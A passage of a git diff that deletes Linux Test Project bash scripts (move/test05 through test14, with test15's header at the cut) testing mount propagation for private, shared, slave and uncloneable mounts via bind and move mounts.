-	mkdir dir/grandchild
-	mount --bind dir share1
-	mkdir parent2/child2
-	mount --move dir parent2/child2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check parent2/child2/grandchild share2/child2/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-	check -n share1/grandchild parent2/child2/grandchild
-
-	mount --bind "$disk2" share2/child2/grandchild/a
-
-	check parent2/child2/grandchild/a share2/child2/grandchild/a
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test05: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test05: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/grandchild/a
-	umount parent2/child2/grandchild
-	umount parent2/child2 # if move succeeded
-	umount dir # if move failed
-	umount share1
-	umount share2
-	umount share1
-	umount share2
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test05: FAILED: move: private subtree to shared parent."
-	exit 1
-else
-	tst_resm TPASS "move/test05: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test06 b/testcases/kernel/fs/fs_bind/move/test06
deleted file mode 100755
index a7aed3c..0000000
--- a/testcases/kernel/fs/fs_bind/move/test06
+++ /dev/null
@@ -1,88 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test06} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST06***************"
-tst_resm TINFO "move: private subtree to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test06 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" priv dir
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mkdir dir/grandchild
-	mount --bind dir share1
-	mkdir parent2/child2
-	mount --bind parent2 share2
-	mount --move dir parent2/child2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check -n parent2/child2/grandchild share2/child2/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-	check -n share1/grandchild parent2/child2/grandchild
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test06: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test06: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/grandchild
-	umount parent2/child2/
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test06: FAILED: move: private subtree to private parent."
-	exit 1
-else
-	tst_resm TPASS "move/test06: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test07 b/testcases/kernel/fs/fs_bind/move/test07
deleted file mode 100755
index afe81b6..0000000
--- a/testcases/kernel/fs/fs_bind/move/test07
+++ /dev/null
@@ -1,91 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test07} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST07***************"
-tst_resm TINFO "move: private subtree to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test07 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" priv dir
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mkdir dir/grandchild
-	mount --bind dir share1
-	mkdir parent2/child2
-	mount --bind parent2 share2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-	mount --move dir parent2/child2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check -n parent2/child2/grandchild share2/child2/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-	check -n share1/grandchild parent2/child2/grandchild
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test07: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test07: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/grandchild
-	umount parent2/child2 # if move succeeded
-	umount dir # if move did not succeed
-	umount share2
-	umount share1
-	umount share1
-	umount share2
-	umount parent2
-	umount dir
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test07: FAILED: move: private subtree to slave parent."
-	exit 1
-else
-	tst_resm TPASS "move/test07: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test08 b/testcases/kernel/fs/fs_bind/move/test08
deleted file mode 100755
index 21f419b..0000000
--- a/testcases/kernel/fs/fs_bind/move/test08
+++ /dev/null
@@ -1,85 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test08} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST08***************"
-tst_resm TINFO "move: private subtree to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test08 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" priv dir
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mkdir dir/grandchild
-	mount --bind dir share1
-	mkdir parent2/child2
-	mount --move dir parent2/child2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-	check -n share1/grandchild parent2/child2/grandchild
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test08: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test08: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/grandchild
-	umount parent2/child2 # if move succeeded
-	umount dir # if move failed
-	umount share1
-	umount share1
-	umount parent2
-	umount dir
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test08: FAILED: move: private subtree to uncloneable parent."
-	exit 1
-else
-	tst_resm TPASS "move/test08: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test09 b/testcases/kernel/fs/fs_bind/move/test09
deleted file mode 100755
index 8f7c254..0000000
--- a/testcases/kernel/fs/fs_bind/move/test09
+++ /dev/null
@@ -1,99 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test09} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST09***************"
-tst_resm TINFO "move: slave subtree to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test09 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --bind parent2 share2
-	mkdir dir/grandchild
-	mount --bind dir share1
-	"${FS_BIND_ROOT}/bin/makedir" slave dir
-	mkdir parent2/child2
-	mount --move dir parent2/child2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check parent2/child2/grandchild share2/child2/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-	check -n share1/grandchild parent2/child2/grandchild
-
-	mount --bind "$disk2" share2/child2/grandchild/a
-
-	check parent2/child2/grandchild/a share2/child2/grandchild/a
-
-	mkdir share1/test
-
-	check parent2/child2 share1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test09: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test09: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/grandchild/a
-	umount parent2/child2/grandchild
-	umount parent2/child2
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-	umount dir
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test09: FAILED: move: slave subtree to shared parent."
-	exit 1
-else
-	tst_resm TPASS "move/test09: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test10 b/testcases/kernel/fs/fs_bind/move/test10
deleted file mode 100755
index 93e2036..0000000
--- a/testcases/kernel/fs/fs_bind/move/test10
+++ /dev/null
@@ -1,100 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test10} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST10***************"
-tst_resm TINFO "move: slave subtree to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test10 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mkdir dir/grandchild
-	mount --bind dir share1
-	"${FS_BIND_ROOT}/bin/makedir" slave dir
-	mkdir parent2/child2
-	mount --bind parent2 share2
-
-	mount --move dir parent2/child2
-	check -n parent2/child2 share2/child2
-
-	mount --bind "$disk1" share1/grandchild
-	check parent2/child2/grandchild share1/grandchild
-	check -n dir/grandchild/ parent2/child2/grandchild
-
-	mount --bind "$disk2" parent2/child2/grandchild/a
-	check -n share1/grandchild/a parent2/child2/grandchild/a
-
-
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test10: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test10: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/grandchild/a
-	umount share1/grandchild # also does umount parent2/child2/grandchild
-	umount parent2/child2
-	umount dir # if move fails
-	umount share2
-	umount share1
-	umount share1
-	umount share2
-	umount parent2
-	umount dir
-
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test10: FAILED: move: slave subtree to private parent."
-	exit 1
-else
-	tst_resm TPASS "move/test10: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test11 b/testcases/kernel/fs/fs_bind/move/test11
deleted file mode 100755
index 9392f9b..0000000
--- a/testcases/kernel/fs/fs_bind/move/test11
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test11} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST11***************"
-tst_resm TINFO "move: slave subtree to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test11 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mkdir dir/grandchild
-	mount --bind dir share1
-	"${FS_BIND_ROOT}/bin/makedir" slave dir
-	mkdir parent2/child2
-	mount --bind parent2 share2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	mount --move dir parent2/child2
-	check -n parent2/child2 share2/child2
-
-	mount --bind "$disk1" share1/grandchild
-	check parent2/child2/grandchild share1/grandchild
-	check -n dir/grandchild/ parent2/child2/grandchild
-
-	mount --bind "$disk2" parent2/child2/grandchild/a
-	check -n share1/grandchild/a parent2/child2/grandchild/a
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test11: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test11: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/grandchild/a
-	umount share1/grandchild
-	umount parent2/child2
-	umount dir # if move fails
-	umount share2
-	umount share1
-	umount share1
-	umount share2
-	umount parent2
-	umount dir
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test11: FAILED: move: slave subtree to slave parent."
-	exit 1
-else
-	tst_resm TPASS "move/test11: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test12 b/testcases/kernel/fs/fs_bind/move/test12
deleted file mode 100755
index 0803fb8..0000000
--- a/testcases/kernel/fs/fs_bind/move/test12
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test12} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST12***************"
-tst_resm TINFO "move: slave subtree to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test12 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mkdir dir/grandchild
-	mount --bind dir share1
-	"${FS_BIND_ROOT}/bin/makedir" slave dir
-	mkdir parent2/child2
-	mount --bind parent2 share2 2> /dev/null && /bin/false || /bin/true #mount should fail
-
-	mount --move dir parent2/child2
-	check -n parent2/child2 share2/child2
-
-	mount --bind "$disk1" share1/grandchild
-	check parent2/child2/grandchild share1/grandchild
-	check -n dir/grandchild/ parent2/child2/grandchild
-
-	mount --bind "$disk2" parent2/child2/grandchild/a
-	check -n share1/grandchild/a parent2/child2/grandchild/a
-
-
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test12: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test12: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/grandchild/a
-	umount share1/grandchild
-	umount parent2/child2
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-	umount dir
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test12: FAILED: move: slave subtree to uncloneable parent."
-	exit 1
-else
-	tst_resm TPASS "move/test12: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test13 b/testcases/kernel/fs/fs_bind/move/test13
deleted file mode 100755
index 7d92c06..0000000
--- a/testcases/kernel/fs/fs_bind/move/test13
+++ /dev/null
@@ -1,80 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test13} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST13***************"
-tst_resm TINFO "move: uncloneable subtree to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test13 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone dir
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --bind parent2 share2
-	mkdir dir/grandchild
-	mkdir parent2/child2
-	mount --move dir parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test13: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test13: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir
-	umount parent2/child2
-	umount share2
-	umount share2
-	umount parent2
-	umount dir
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 1 ]
-then
-	tst_resm TFAIL "move/test13: FAILED: move: uncloneable subtree to shared parent."
-	exit 1
-else
-	tst_resm TPASS "move/test13: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test14 b/testcases/kernel/fs/fs_bind/move/test14
deleted file mode 100755
index cc6d114..0000000
--- a/testcases/kernel/fs/fs_bind/move/test14
+++ /dev/null
@@ -1,82 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test14} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST14***************"
-tst_resm TINFO "move: uncloneable subtree to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test14 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone dir
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mkdir dir/grandchild
-	mkdir parent2/child2
-	mount --move dir parent2/child2
-
-	mount --bind parent2 share2
-	check  -n parent2/child2/ share2/child2/
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test14: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test14: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share2
-	umount parent2/child2
-	umount dir # if the move fails
-	umount share2
-	umount parent2
-	umount dir
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test14: FAILED: move: uncloneable subtree to private parent."
-	exit 1
-else
-	tst_resm TPASS "move/test14: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test15 b/testcases/kernel/fs/fs_bind/move/test15
deleted file mode 100755
index cf98720..0000000
--- a/testcases/kernel/fs/fs_bind/move/test15
+++ /dev/null
@@ -1,82 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test15} ${TST_COUNT=1} ${TST_TOTAL=1}"
